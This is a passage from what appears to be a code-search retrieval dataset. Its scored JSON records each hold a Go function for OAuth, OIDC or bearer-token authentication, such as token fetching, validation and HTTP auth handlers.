fetchAndValidateToken(postData url.Values) (string, *OAuthGrant, error) {\n\tog, err := lh.UAA.FetchAccessToken(postData)\n\tif err != nil {\n\t\treturn \"\", nil, err\n\t}\n\n\t// Validate token, make sure it was for us\n\temailAddr, err := lh.validateAccessToken(og.AccessToken, lh.UAA.ClientID)\n\tif err != nil {\n\t\treturn \"\", nil, err\n\t}\n\n\treturn emailAddr, og, nil\n}", "title": "" }, { "docid": "08453345118eff39d935b118401b6ea3", "score": "0.53993255", "text": "func handleToken(w http.ResponseWriter, r *http.Request) (*User, error) {\n\tuser := new(User)\n\tprovidedTokens := strings.Split(r.Header.Get(\"Authorization\"), \" \")\n\tif len(providedTokens) != 2 {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tw.Write([]byte(\"Invlaid number of tokens provided\"))\n\t\treturn nil, errors.New(\"Invlaid number of tokens provided\")\n\t}\n\tuser.Token = providedTokens[1]\n\n\tuser, err := db.GetUserSession(user)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\tw.Write([]byte(err.Error()))\n\t\treturn nil, err\n\t}\n\n\tvalid, _ := validateToken(user)\n\tif !valid {\n\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\tw.Write([]byte(\"Invalid web token\"))\n\t\treturn nil, errors.New(\"Invalid web token\")\n\t}\n\treturn user, nil\n}", "title": "" }, { "docid": "62493ae3ce97f557408d58dcfdcaf436", "score": "0.53950447", "text": "func LoginToken(c *gin.Context) {\n\taccess := c.Query(\"access_token\")\n\tlogin, err := remote.GetUserToken(c, access)\n\tif err != nil {\n\t\tc.Error(exterror.Append(err, \"Unable to authenticate user\"))\n\t\treturn\n\t}\n\tuser, err := store.GetUserLogin(c, login)\n\tif err != nil {\n\t\tc.Error(exterror.Create(http.StatusUnauthorized, errors.New(\"Unable to authenticate user\")))\n\t\treturn\n\t}\n\texp := time.Now().Add(time.Hour * 72).Unix()\n\tuserToken := token.New(token.UserToken, user.Login)\n\ttokenstr, err := userToken.SignExpires(user.Secret, exp)\n\tif err != nil {\n\t\tlog.Errorf(\"cannot create token for %s. %s\", user.Login, err)\n\t\terr = errors.New(\"Internal error attempting to authenticate user\")\n\t\tc.Error(exterror.Create(http.StatusInternalServerError, err))\n\t\treturn\n\t}\n\tc.IndentedJSON(http.StatusOK, &tokenPayload{\n\t\tAccess: tokenstr,\n\t\tExpires: exp - time.Now().Unix(),\n\t})\n}", "title": "" }, { "docid": "8678e183b3da8f1780169a571a866e03", "score": "0.5389724", "text": "func authGetHandler(w http.ResponseWriter, r *http.Request) {\n\ttoken := r.URL.Query().Get(\"token\")\n\tif token == \"\" {\n\t\tlog.Print(\"token is empty\")\n\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tio.WriteString(w, \"\")\n\n\t\treturn\n\t}\n\n\tok, err := CheckToken(token)\n\tif !ok || err != nil {\n\t\tlog.Print(err)\n\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tio.WriteString(w, \"\")\n\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusOK)\n\tio.WriteString(w, \"OK\")\n}", "title": "" }, { "docid": "ed4c62bfc90d488179fcd6215652beef", "score": "0.53883624", "text": "func getTokenFromResponse(response string) (string, error) {\n\tstart := \"GET /?token=\"\n\tarr := strings.Split(response, \"\\r\\n\")\n\tif !strings.HasPrefix(arr[0], start) {\n\t\tlogger.Errorf(\"response is malformed. \")\n\t\treturn \"\", &SnowflakeError{\n\t\t\tNumber: ErrFailedToParseResponse,\n\t\t\tSQLState: SQLStateConnectionRejected,\n\t\t\tMessage: errMsgFailedToParseResponse,\n\t\t\tMessageArgs: []interface{}{response},\n\t\t}\n\t}\n\ttoken := strings.TrimPrefix(arr[0], start)\n\ttoken = strings.Split(token, \" \")[0]\n\treturn token, nil\n}", "title": "" }, { "docid": "0be47aa7f737f8951617da88c59bb111", "score": "0.5387678", "text": "func CheckToken(authToken string) (user terraUser.User, err error) {\n\t// config := terraConfig.LoadConfig()\n\n\ttokenStr := strings.Replace(authToken, \"Bearer\", \"\", -1)\n\ttokenStr = strings.TrimSpace(tokenStr)\n\n\tmsg, errMsg := terraToken.FernetDecode([]byte(tokenStr))\n\tif errMsg != nil {\n\t\treturn user, errMsg\n\t}\n\tjson.Unmarshal(msg, &user)\n\treturn user, nil\n}", "title": "" }, { "docid": "49e9177ac5b33de628c2db3e94539a96", "score": "0.5384619", "text": "func (_APIConsumer *APIConsumerCaller) GetChainlinkToken(opts *bind.CallOpts) (common.Address, error) {\n\tvar out []interface{}\n\terr := _APIConsumer.contract.Call(opts, &out, \"getChainlinkToken\")\n\n\tif err != nil {\n\t\treturn *new(common.Address), err\n\t}\n\n\tout0 := *abi.ConvertType(out[0], new(common.Address)).(*common.Address)\n\n\treturn out0, err\n\n}", "title": "" }, { "docid": "d914cbe082c77acccc838b954483d646", "score": "0.53813195", "text": "func GetToken() string {\n\trand.Seed(int64(time.Now().UnixNano()))\n\tidentifier := strconv.Itoa(rand.Intn(1e9) + 1e8 - 1)\n\tfmt.Println(\"please go to\")\n\tfmt.Println(fmt.Sprintf(\"https://copy-passed.web.app/VerifyID.html#%s\", identifier))\n\tfmt.Println(\"or scan qrcode with app\")\n\tqrcode.PrintCode(identifier)\n\tfmt.Println(\"to complete the signin\")\n\n\tformData := map[string]string{\"id\": identifier}\n\n\tjsonValue, _ := json.Marshal(formData)\n\n\tresp, err := http.Post(\"https://us-central1-copy-passed.cloudfunctions.net/authenticator\",\n\t\t\"application/json\", bytes.NewBuffer(jsonValue))\n\n\tif err != nil {\n\t\t//return getToken()\n\t\tpanic(err)\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != 201 {\n\t\tfmt.Println(resp.Status)\n\t\tfmt.Println(\"Error try again\")\n\t\treturn GetToken()\n\t}\n\tfmt.Println(\"Completed\")\n\n\tvar result map[string]interface{}\n\tjson.NewDecoder(resp.Body).Decode(&result)\n\n\treturn result[\"id\"].(string)\n}", "title": "" }, { "docid": "78450fd14455c8b4d0717b1c76e2cc54", "score": "0.5377813", "text": "func (c *tokenSource) Token() (*oauth2.Token, error) {\n\tv := url.Values{}\n\tif len(c.conf.Scopes) > 0 {\n\t\tv.Set(\"scope\", strings.Join(c.conf.Scopes, \" \"))\n\t}\n\tfor k, p := range c.conf.EndpointParams {\n\t\tif _, ok := v[k]; ok {\n\t\t\treturn nil, fmt.Errorf(\"keycloak oauth2: cannot overwrite parameter %q\", k)\n\t\t}\n\t\tv[k] = p\n\t}\n\n\treq, err := http.NewRequest(\"POST\", c.conf.TokenURL, strings.NewReader(v.Encode()))\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tr, err := ctxhttp.Do(c.ctx, c.conf.HTTPClient, req)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// nolint: errcheck\n\tdefer r.Body.Close()\n\n\tbody, err := ioutil.ReadAll(io.LimitReader(r.Body, 1<<20))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"oauth2: cannot fetch token: %v\", err)\n\t}\n\tif code := r.StatusCode; code < 200 || code > 299 {\n\t\treturn nil, fmt.Errorf(\"oauth2: cannot fetch token: %v\\nResponse: %s\", r.Status, body)\n\t}\n\n\ttk := &oauth2.Token{}\n\n\terr = json.Unmarshal(body, tk)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn tk.WithExtra(body), nil\n}", "title": "" }, { "docid": "559c2174f3f710ffbcdedd657ade0e5b", "score": "0.537073", "text": "func (c *Client) AuthToken() (string, error) {\n\tvar authToken string\n\terr := c.doGet(\"auth-token\", func(r io.Reader) error {\n\t\tauthTokenraw, err := ioutil.ReadAll(r)\n\t\tauthToken = string(authTokenraw)\n\t\treturn err\n\t})\n\treturn authToken, err\n}", "title": "" }, { "docid": "ef92995c5897b63f723823b730e75a30", "score": "0.5367724", "text": "func (a *automateAuthenticator) checkToken(token string) error {\n\n\t// In the gateway, AuthN works by copying relevant headers from the upstream\n\t// request to a new request to the authn service. The headers we need to care\n\t// about are the auth-related ones:\n\t// \"X-Data-Collector-Token\", \"Api-Token\", \"X-Client-Cert\"\n\t// \"Api-Token\" is what we're using in code samples and such, we'll use that\n\t// one when we craft our request:\n\tmd := metadata.Pairs(\"Api-Token\", token)\n\t// 60s timeout is chosen to match automate load balancer/gateway\n\ttimeout, cancel := context.WithTimeout(context.Background(), authzClientTimeout)\n\tdefer cancel()\n\n\tctx := metadata.NewOutgoingContext(timeout, md)\n\n\tauthnResp, err := a.authnClient.Authenticate(ctx, &authn.AuthenticateRequest{})\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"authn-service error attempting to authenticate token for NATS connection\")\n\t}\n\n\tvar subjects []string\n\tsubjects = append(authnResp.Teams, authnResp.Subject)\n\n\tif len(subjects) < 1 {\n\t\treturn errors.New(\"token did not resolve to an authorization subject after authentication request\")\n\t}\n\n\tresp, err := a.authzClient.ProjectsAuthorized(ctx, &authz.ProjectsAuthorizedReq{\n\t\tSubjects: subjects,\n\t\tResource: resource,\n\t\tAction: action,\n\t\t// TODO (tc): This is broken. We need to populate this.\n\t\tProjectsFilter: []string{},\n\t})\n\tif err != nil {\n\t\tif status.Convert(err).Code() == codes.FailedPrecondition {\n\t\t\treturn err\n\t\t}\n\t\treturn errors.Wrapf(err, \"authorizing action %q on resource %q for members %q\", action, resource, subjects)\n\t}\n\tprojects := resp.Projects\n\n\tif len(projects) == 0 {\n\t\treturn errors.Errorf(\"unauthorized action %q on resource %q for members %q\", action, resource, subjects)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "68a432dbcbff90e0f3181b0d119ba7ce", "score": "0.5354093", "text": "func authToken(w http.ResponseWriter, r *http.Request) (uint64, bool) {\n\ttmp := r.Header.Get(\"X-Auth-Tokens\")\n\ttokens := strings.Split(tmp, \",\")\n\n\ttmp2 := r.Header.Get(\"X-Auth-Plugin-ID\")\n\tpluginID, err := strconv.ParseUint(tmp2, 10, 64)\n\tif err != nil {\n\t\twriteErrorAuth(w, errors.New(\"Unauthorized to make that change. If you are the plugin's publisher, please connect your account.\"))\n\t\treturn 0, false\n\t}\n\n\tvar uid string\n\tq := `SELECT userid FROM plugins WHERE id=$1`\n\tif err := db.Get(&uid, q, pluginID); err != nil {\n\t\twriteErrorAuth(w, err)\n\t\treturn 0, false\n\t}\n\tvar count int\n\tq = `SELECT COUNT(*) FROM authtokens WHERE userid=$1 AND token IN (`\n\tfor i := range tokens {\n\t\ttmp := strconv.FormatInt(int64(i+2), 10)\n\t\tq += \"$\" + tmp + \",\"\n\t}\n\tq = q[:len(q)-1] + \")\"\n\targs := make([]interface{}, len(tokens)+1)\n\targs[0] = uid\n\tfor i := range tokens {\n\t\targs[i+1] = tokens[i]\n\t}\n\tif err = db.QueryRow(q, args...).Scan(&count); err != nil {\n\t\twriteErrorAuth(w, err)\n\t\treturn 0, false\n\t}\n\tif count == 0 {\n\t\twriteErrorAuth(w, errors.New(\"Unauthorized to make that change. If you are the plugin's publisher, please connect your account.\"))\n\t\treturn 0, false\n\t}\n\treturn pluginID, true\n}", "title": "" }, { "docid": "67be693adabf41595e113bc6696725a1", "score": "0.5349925", "text": "func (o *Oispapi) GetToken() string {\n\treturn o.token\n}", "title": "" }, { "docid": "f8ea292f731628c32389926926053049", "score": "0.53498644", "text": "func authPostHandler(w http.ResponseWriter, r *http.Request) {\n\tdecoder := json.NewDecoder(r.Body)\n\n\tvar apr authPostRequest\n\terrD := decoder.Decode(&apr)\n\tif errD != nil {\n\t\tlog.Print(errD)\n\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tio.WriteString(w, \"Internal Server Error\\n\")\n\n\t\treturn\n\t}\n\n\ttoken, errT := GetToken(apr.Username, apr.PasswordHash)\n\tif token == \"\" || errT != nil {\n\t\tlog.Print(errT)\n\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tio.WriteString(w, \"Internal Server Error\\n\")\n\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusOK)\n\tio.WriteString(w, token+\"\\n\")\n}", "title": "" }, { "docid": "514e422bc3b09a1d5a15859e8af2bd40", "score": "0.53374773", "text": "func tokenAuthentication(token string) string {\n\ttokenOld := token\n\ttoken = strings.Replace(token, \"/email \", \"\", 1)\n\tcorrectToken := \"Корректный ввод:\" + \"\\n\" + \"</email YOUR_TOKEN>\"\n\n\t// text doesn't contain substring like \"/enter_\"\n\tif token == tokenOld {\n\t\treturn \"Прости, но кажется, ты забыл пробел или не ввел токен. \" + correctToken\n\t}\n\t// text looks like \"/enter_\" (but message can't ended on <space>) - only for keeping calm\n\tif token == \"\" {\n\t\treturn \"Прости, но ты не ввел токен. \" + correctToken\n\t}\n\n\tsearchUrl := \"https://api.github.com/user/emails?access_token=\" + token\n\n\tresp, err := http.Get(searchUrl)\n\t// only for keeping calm too\n\t// in my cases github always return response\n\tif err != nil {\n\t\treturn \"Прости, но с токеном возникли проблемы. \" + correctToken\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\t// damaged response (?)\n\tif err != nil {\n\t\treturn \"Странно, может ты ошибся? \" + correctToken\n\t}\n\tjsonString :=string(body)\n\n\t//any questions about regexp? I'm ready to answer them\n\tvar emailReg = regexp.MustCompile(`\"[^\"@\\s]+@[^\"@\\s]+\"`)\n\n\tif emailReg.MatchString(jsonString) == false {\n\t\treturn \"В полученном json нет email, попробуй перепроверить. \" + correctToken\n\t}\n\temail := emailReg.FindString(jsonString)\n\treturn strings.Replace(email, \"\\\"\", \"\", 2)\n}", "title": "" }, { "docid": "f644aad26ad2169a2f490b3d0091940e", "score": "0.5333045", "text": "func (a *Authenticator) GetToken(state string, code string) (*oauth2.Token, error) {\n\tif state != a.state {\n\t\treturn nil, errors.New(\"Invalid state\")\n\t}\n\n\treturn a.config.Exchange(context.WithValue(oauth2.NoContext, oauth2.HTTPClient, &http.Client{Transport: &uaSetterTransport{agent: a.ua}}), code)\n}", "title": "" }, { "docid": "d26c237d68d194ab1f1d07bc5bfd79a9", "score": "0.531043", "text": "func (h *Handler) Token(w http.ResponseWriter, req *http.Request) {\n\tgrantName := req.PostFormValue(\"grant_type\")\n\tif grantName == \"\" {\n\t\twriteError(w, h.logger, http.StatusBadRequest, ErrInvalidRequest, \"\")\n\t\treturn\n\t}\n\n\tgrantType, ok := h.tokenGTs[grantName]\n\tif !ok {\n\t\twriteError(w, h.logger, http.StatusBadRequest, ErrUnsupportedGrantType, \"\")\n\t\treturn\n\t}\n\n\tclient, err := h.clientFromRequest(req, grantType)\n\tif err != nil {\n\t\tif err == ErrInvalidClient {\n\t\t\tw.Header().Set(\"WWW-Authenticate\", `Basic realm=\"oauth2\"`)\n\t\t\twriteError(w, h.logger, http.StatusUnauthorized, err, \"\")\n\t\t\treturn\n\t\t} else if err == ErrServerError {\n\t\t\twriteError(w, h.logger, http.StatusInternalServerError, err, \"\")\n\t\t}\n\t\twriteError(w, h.logger, http.StatusBadRequest, err, \"\")\n\t\treturn\n\t}\n\n\taccess, err := grantType.Grant(req, client)\n\tif err != nil {\n\t\twriteError(w, h.logger, http.StatusBadRequest, err, \"\")\n\t\treturn\n\t}\n\n\twriteJSON(w, h.logger, http.StatusOK, access.ToMap(), map[string]string{\n\t\t\"Cache-Control\": \"no-store\",\n\t\t\"Pragma\": \"no-cache\",\n\t})\n}", "title": "" }, { "docid": "d5a39bd7ab6faaaaca0b0eddc9b99048", "score": "0.5303499", "text": "func handleAuthnToken(w http.ResponseWriter, r *http.Request) {\n\tvar (\n\t\tauthnReqState AuthnReqState\n\t\tauthnReqStateString string\n\t\tauthnRespParams = r.URL.Query()\n\t\tauthnCookie *http.Cookie\n\t\tclientAssertion = jwt.New(jwt.SigningMethodHS256)\n\t\ttokenRspBody TokenRspBody\n\t\tidToken *jwt.Token\n\t\tuserInfoReq *http.Request\n\t\tuserInfoRsp *http.Response\n\t\tok bool\n\t\terr error\n\t)\n\n\tfmt.Println(\"https://\" + exthost + \"/authn-token/?\" + r.URL.RawQuery)\n\n\tif r.Method != \"GET\" {\n\t\twriteError(w, fmt.Errorf(\"Bad HTTP Method: %v\\n\", r.Method))\n\t\treturn\n\t}\n\n\t//The authnCookie contains the aead encrypted oidState\n\tauthnCookie, err = r.Cookie(\"authnCookie\")\n\tif err != nil {\n\t\twriteError(w, fmt.Errorf(\"Missing authnCookie\\n\"))\n\t\treturn\n\t}\n\t_, authnReqStateString, err = aead.Decrypt(aeadCipher, authnCookie.Value)\n\tif err != nil {\n\t\twriteError(w, err)\n\t\treturn\n\t}\n\tjson.Unmarshal([]byte(authnReqStateString), &authnReqState)\n\n\t//Validate that the oidState values match\n\tauthnRespStateList, ok := authnRespParams[\"state\"]\n\tif !ok {\n\t\twriteError(w, fmt.Errorf(\"Missing Authn Response State\\n\"))\n\t\treturn\n\t}\n\tswitch len(authnRespStateList) {\n\tcase 1:\n\t\tif authnReqState.State != authnRespStateList[0] {\n\t\t\twriteError(w, fmt.Errorf(\"State match failed\\nexpected state: %v\\nprovided state: %v\\n\", authnReqState.State, authnRespStateList[0]))\n\t\t\treturn\n\t\t}\n\tdefault:\n\t\twriteError(w, fmt.Errorf(\"Authn Response State has %v values\", len(authnRespStateList)))\n\t\treturn\n\t}\n\tif authnReqState.State != authnRespParams[\"state\"][0] {\n\t\twriteError(w, fmt.Errorf(\"State match failed\\nexpected state: %v\\nprovided state: %v\\n\", authnReqState.State, authnRespParams[\"state\"]))\n\t\treturn\n\t}\n\n\t//If the OP returned an Authn Request error, report it.\n\t_, ok = authnRespParams[\"error\"]\n\tif ok {\n\t\twriteError(w, fmt.Errorf(\"OP Authn Request Error: %v\\n %v\\n %v\\n\", authnRespParams[\"error\"], authnRespParams[\"error_description\"], authnRespParams[\"error_uri\"]))\n\t\treturn\n\t}\n\n\t//One Authorization Code must be provided\n\tauthnRespCodeList, ok := authnRespParams[\"code\"]\n\tif !ok {\n\t\twriteError(w, fmt.Errorf(\"Missing Authn Response Authorization Code\"))\n\t\treturn\n\t}\n\tif len(authnRespCodeList) != 1 {\n\t\twriteError(w, fmt.Errorf(\"Authn Response Authorization Code has %v values\\n\", len(authnRespStateList)))\n\t\treturn\n\t}\n\n\t//Issue the Token Request to the OP Token Endpoint. TNaaS OPs always use client_secret_jwt client authentication.\n\trequestTime := time.Now().UTC()\n\tclientAssertion.Claims = map[string]interface{}{\"iss\": clientID, \"sub\": clientID, \"aud\": opTokenEndpoint, \"jti\": uuid.NewRandom().String(), \"exp\": requestTime.Add(time.Minute * 10).String(), \"iat\": requestTime.String()}\n\tfmt.Println(\"Client Assertion Claims: \", clientAssertion.Claims)\n\tclientAssertionString, err := clientAssertion.SignedString([]byte(opSharedSecret))\n\tif err != nil {\n\t\twriteError(w, fmt.Errorf(\"Client Assertion Signing Error: %v\", err))\n\t\treturn\n\t}\n\ttokenRequestForm := url.Values{\"grant_type\": {\"authorization_code\"}, \"code\": {authnRespParams[\"code\"][0]}, \"client_id\": {clientID}, \"client_assertion_type\": {\"urn:ietf:params:oauth:client-assertion-type:jwt-bearer\"}, \"client_assertion\": {clientAssertionString}, \"redirect_uri\": {\"https://\" + exthost + \"/authn-token\"}}\n\ttokenRsp, err := opClient.PostForm(opTokenEndpoint, tokenRequestForm)\n\tif err != nil {\n\t\twriteError(w, fmt.Errorf(\"Token Endpoint Form Post Error: %v\", err))\n\t\treturn\n\t}\n\n\tfmt.Println(opTokenEndpoint, \" form: \", tokenRequestForm)\n\n\t//Read the Token Response Body\n\ttokenRspBodyBytes, err := ioutil.ReadAll(tokenRsp.Body)\n\tfmt.Println(\"Token Endpoint Response Body: \", string(tokenRspBodyBytes))\n\n\t//Validate the response is good and unmarshal it's JSON body\n\tif tokenRsp.StatusCode != http.StatusOK {\n\t\twriteError(w, fmt.Errorf(\"OP Token Request Status Error: %v\\n%v\", tokenRsp.Status, string(tokenRspBodyBytes)))\n\t\treturn\n\t}\n\tif tokenRsp.Header.Get(\"Content-Type\") != \"application/json\" {\n\t\twriteError(w, fmt.Errorf(\"OP Token Request Bad Content-Type: %v\", tokenRsp.Header.Get(\"Content-Type\")))\n\t\treturn\n\t}\n\terr = json.Unmarshal(tokenRspBodyBytes, &tokenRspBody)\n\tif err != nil {\n\t\twriteError(w, fmt.Errorf(\"Error Decoding Token Response Body: %v\", err))\n\t\treturn\n\t}\n\tfmt.Println(\"Parsed Token Endpoint Response Body: \", tokenRspBody)\n\n\t//The ID Token provided by the OP is parsed\n\tif tokenRspBody.IDToken == \"\" {\n\t\twriteError(w, fmt.Errorf(\"Missing Token Response ID Token\"))\n\t\treturn\n\t}\n\tidToken, err = jwt.Parse(tokenRspBody.IDToken, keyfunc)\n\tif err != nil {\n\t\twriteError(w, fmt.Errorf(\"ID Token Parsing Failed with Error: %v\", err))\n\t\treturn\n\t}\n\n\t//The Authn Request nonce must match the ID Token nonce\n\tif authnReqState.Nonce != idToken.Claims[\"nonce\"].(string) {\n\t\twriteError(w, fmt.Errorf(\"Authn Request Nonce does not match ID Token Nonce: %v %v\", authnReqState.Nonce, idToken.Claims[\"nonce\"].(string)))\n\t\treturn\n\t}\n\n\t//Use the Access Token to retrieve the subject's userinfo from the OP userinfo endpoint.\n\tif tokenRspBody.AccessToken == \"\" {\n\t\twriteError(w, fmt.Errorf(\"Missing Token Response Access Token\"))\n\t\treturn\n\t}\n\tuserInfoReq, err = http.NewRequest(\"GET\", opUserInfoEndpoint, nil)\n\tuserInfoReq.Header.Set(\"Authorization\", \"Bearer \"+tokenRspBody.AccessToken)\n\tfmt.Println(\"User Info Request: \", userInfoReq)\n\tuserInfoRsp, err = opClient.Do(userInfoReq)\n\tif err != nil {\n\t\twriteError(w, fmt.Errorf(\"User Info Request Failed: %v\", err))\n\t\treturn\n\t}\n\tuserInfoRspBodyBytes, err := ioutil.ReadAll(userInfoRsp.Body)\n\tif err != nil {\n\t\twriteError(w, fmt.Errorf(\"Reading User Info Request Body Failed: %v\", err))\n\t\treturn\n\t}\n\tif userInfoRsp.StatusCode != http.StatusOK {\n\t\twriteError(w, fmt.Errorf(\"User Info Request Failed: %v\\n%v\", userInfoRsp.Status, string(userInfoRspBodyBytes)))\n\t\treturn\n\t}\n\n\t//The content of the ID Token Header and Claims is transformed to JSON\n\theaderJSON := \"{\"\n\tfor key, val := range idToken.Header {\n\t\theaderJSON = headerJSON + `\"` + key + `\": \"` + val.(string) + `\",`\n\t}\n\theaderJSON = headerJSON[:len(headerJSON)-2] + \"}\"\n\n\tclaimsJSON := \"{\"\n\tfor key, val := range idToken.Claims {\n\t\tclaimsJSON = claimsJSON + `\"` + key + `\": \"` + fmt.Sprint(val) + `\",`\n\t}\n\tclaimsJSON = claimsJSON[:len(claimsJSON)-2] + \"}\"\n\n\tidTokenJSON := `{\"header\": ` + headerJSON + `, \"claims\": ` + claimsJSON + \"}\"\n\tresultJSON := `{\"idtoken\": ` + idTokenJSON + `, \"userinfo\": ` + string(userInfoRspBodyBytes) + \"}\"\n\n\tw.Header().Set(\"Content-Type\", \"application/JSON\")\n\tw.Write([]byte(resultJSON))\n}", "title": "" }, { "docid": "ed3dab1cfba274209f157a7264a3b001", "score": "0.53030306", "text": "func getToken(r *http.Request) (string, error) {\n\tbearerToken := r.Header.Get(\"Authorization\")\n\ts := strings.Split(bearerToken, \" \")\n\tif len(s) == 2 {\n\t\treturn s[1], nil\n\t}\n\treturn \"\", errors.New(\"jwt - Token not found\")\n}", "title": "" }, { "docid": "2ef6f9827b041738300a24faac19c437", "score": "0.5302216", "text": "func (c Client) GetAccessToken(code string) (AuthResponse, error) {\n\tvar r AuthResponse\n\tparams := url.Values{}\n\tparams.Set(\"client_id\", c.config.ClientID)\n\tparams.Set(\"client_secret\", c.config.ClientSecret)\n\tparams.Set(\"grant_type\", \"authorization_code\")\n\tparams.Set(\"code\", code)\n\tdata := params.Encode()\n\n\tif c.config.Debug {\n\t\tlog.Printf(\"Sending auth request to https://www.tiendanube.com/apps/authorize/token?grant_type=authorization_code with payload: %s\", data)\n\t}\n\n\tauthRequest, err := http.NewRequest(\"POST\", \"https://www.tiendanube.com/apps/authorize/token?grant_type=authorization_code\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\treturn r, err\n\t}\n\tauthRequest.Header.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\n\t// Perform request\n\tclient := &http.Client{Transport: c.Transport}\n\tresp, err := client.Do(authRequest)\n\tif err != nil {\n\t\treturn r, err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Read response\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn r, err\n\t}\n\tif c.config.Debug {\n\t\tlog.Printf(\"Got auth response: %s\", body)\n\t}\n\terr = json.Unmarshal(body, &r)\n\tif err != nil {\n\t\treturn r, err\n\t}\n\n\t// Validate response\n\tif r.Error != \"\" {\n\t\treturn r, fmt.Errorf(\"%s: %s\", r.Error, r.ErrorDescription)\n\t}\n\n\t// Set current client credentials\n\tc.config.AccessToken = r.AccessToken\n\tc.config.UserID = strconv.FormatUint(uint64(r.UserID), 10)\n\n\treturn r, nil\n}", "title": "" }, { "docid": "3e2eb017709fbf6c7fc1f022f8dca66f", "score": "0.52975094", "text": "func (cp *RunnerParams) getBearerToken() (string, error) {\n\n\turl := \"https://iad.ocir.io/20180419/docker/token\"\n\n\tvar client http.Client\n\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tresp, err := client.Do(req)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdefer resp.Body.Close()\n\n\tvar resultToken string\n\n\tif resp.StatusCode == 200 {\n\t\tbodyBytes, err := ioutil.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tbodyString := string(bodyBytes)\n\t\ttheToken := requestToken{}\n\t\tjson.Unmarshal([]byte(bodyString), &theToken)\n\t\tresultToken = theToken.Token\n\t}\n\treturn resultToken, nil\n}", "title": "" }, { "docid": "aed325b090447ae52ee187b7260cd7b5", "score": "0.528974", "text": "func Token(file string, cfg *oauth.Config) (*oauth.Transport, error) {\n\tif !filepath.IsAbs(file) {\n\t\tfile = filepath.Join(os.Getenv(\"HOME\"), file)\n\t}\n\tcfg1 := *cfg\n\tcfg = &cfg1\n\tcfg.TokenCache = oauth.CacheFile(file)\n\ttok, err := cfg.TokenCache.Token()\n\tif err == nil {\n\t\treturn &oauth.Transport{Config: cfg, Token: tok}, nil\n\t}\n\n\t// Start HTTP server on localhost.\n\tl, err := net.Listen(\"tcp\", \"127.0.0.1:0\")\n\tif err != nil {\n\t\tvar err1 error\n\t\tif l, err1 = net.Listen(\"tcp6\", \"[::1]:0\"); err1 != nil {\n\t\t\treturn nil, fmt.Errorf(\"oauthprompt.Token: starting HTTP server: %v\", err)\n\t\t}\n\t}\n\n\ttype done struct {\n\t\terr error\n\t\tcode string\n\t}\n\tch := make(chan done, 100)\n\n\trandState, err := randomID()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcfg.RedirectURL = \"http://\" + l.Addr().String() + \"/done\"\n\tauthURL := cfg1.AuthCodeURL(randState)\n\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {\n\t\tif req.URL.Path == \"/auth\" {\n\t\t\thttp.Redirect(w, req, authURL, 301)\n\t\t\treturn\n\t\t}\n\t\tif req.URL.Path != \"/done\" {\n\t\t\thttp.Error(w, \"\", 404)\n\t\t\treturn\n\t\t}\n\t\tif req.FormValue(\"state\") != randState {\n\t\t\tch <- done{err: fmt.Errorf(\"oauthprompt.Token: incorrect response\")}\n\t\t\thttp.Error(w, \"\", 500)\n\t\t\treturn\n\t\t}\n\t\tif code := req.FormValue(\"code\"); code != \"\" {\n\t\t\tch <- done{code: code}\n\t\t\tw.Write([]byte(success))\n\t\t\treturn\n\t\t}\n\t\thttp.Error(w, \"\", 500)\n\t})\n\n\tsrv := &http.Server{Handler: handler}\n\tgo srv.Serve(l)\n\tif err := openURL(\"http://\" + l.Addr().String() + \"/auth\"); err != nil {\n\t\tl.Close()\n\t\treturn nil, err\n\t}\n\td := <-ch\n\tl.Close()\n\n\tif d.err != nil {\n\t\treturn nil, err\n\t}\n\n\ttr := &oauth.Transport{Config: &cfg1}\n\t_, err = tr.Exchange(d.code)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn tr, nil\n}", "title": "" }, { "docid": "a56e84efaae57cd04c31c262c939e36d", "score": "0.52804446", "text": "func (a *DanglIdentityApiService) DanglIdentityLoginAndReturnToken(ctx _context.Context, model TokenLoginPost) (TokenResponseGet, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue TokenResponseGet\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/identity/token-login\"\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json-patch+json\", \"application/json\", \"text/json\", \"application/_*+json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"text/plain\", 